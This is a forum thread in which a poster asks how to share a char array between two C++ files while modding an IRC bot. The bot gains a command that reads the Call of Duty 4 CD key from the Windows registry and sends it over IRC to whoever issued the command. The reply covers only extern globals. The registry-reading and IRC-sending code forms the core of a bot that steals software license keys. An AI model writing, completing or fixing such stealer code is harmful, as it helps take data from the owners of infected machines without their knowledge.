Accessing a char array everywhere

Not the most appropriate title as I wasn't really sure how to describe my situation in so few words. So here is a proper explanation:
I found an IRC bot source where the bot would just join the channel and wait for commands and I started to mod it a little and add a few commands. One of the commands is a game key retriever. This is what I ideally want in my irc.cpp file:

Code:

else if (!strcmp(word[p], cmd_keyretriever)) {
                Key("SOFTWARE\\Activision\\Call of Duty 4", "codkey", "Call of Duty 4: ");
                IRC_Send(sock, MSG_PRIVMSG, string, from);                
        } 

And then in my retriever.cpp:

Code:

void Key(char *loc, char *regkey, char *name)
{
        HKEY key;
        char Serial[25];
        DWORD len = sizeof(Serial);
        if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, loc, 0, KEY_QUERY_VALUE, &key) == ERROR_SUCCESS) {
                RegQueryValueEx(key, regkey, NULL, NULL, (BYTE *) Serial, &len);
                wsprintf(string, "%s%s", name, Serial);
        }
} 

I also have a headerfile; retriever.h:

Code:

void Key(char *loc, char *regkey, char *name); 

So my problem is, is that I cannot for the life of me, create a char array that is accessable by both irc.cpp & retriever.cpp. I've tried extern chars in a header file included in both but there's always a clash or it can't convert something to something else.
Or perhaps there's a better way than setting the value of a char array in retriever.cpp and then using it in irc.cpp?

 

Well if you want to use extern, you could declare it global in say, the file with main. And then use the extern keyword in another file.

so:

main.cpp

Code:

int some_array[MAX_SIZ];

int main(){
.
.
.
    return 0;
}

and then:

some_other_file.cpp

Code:

extern int some_array[MAX_SIZ];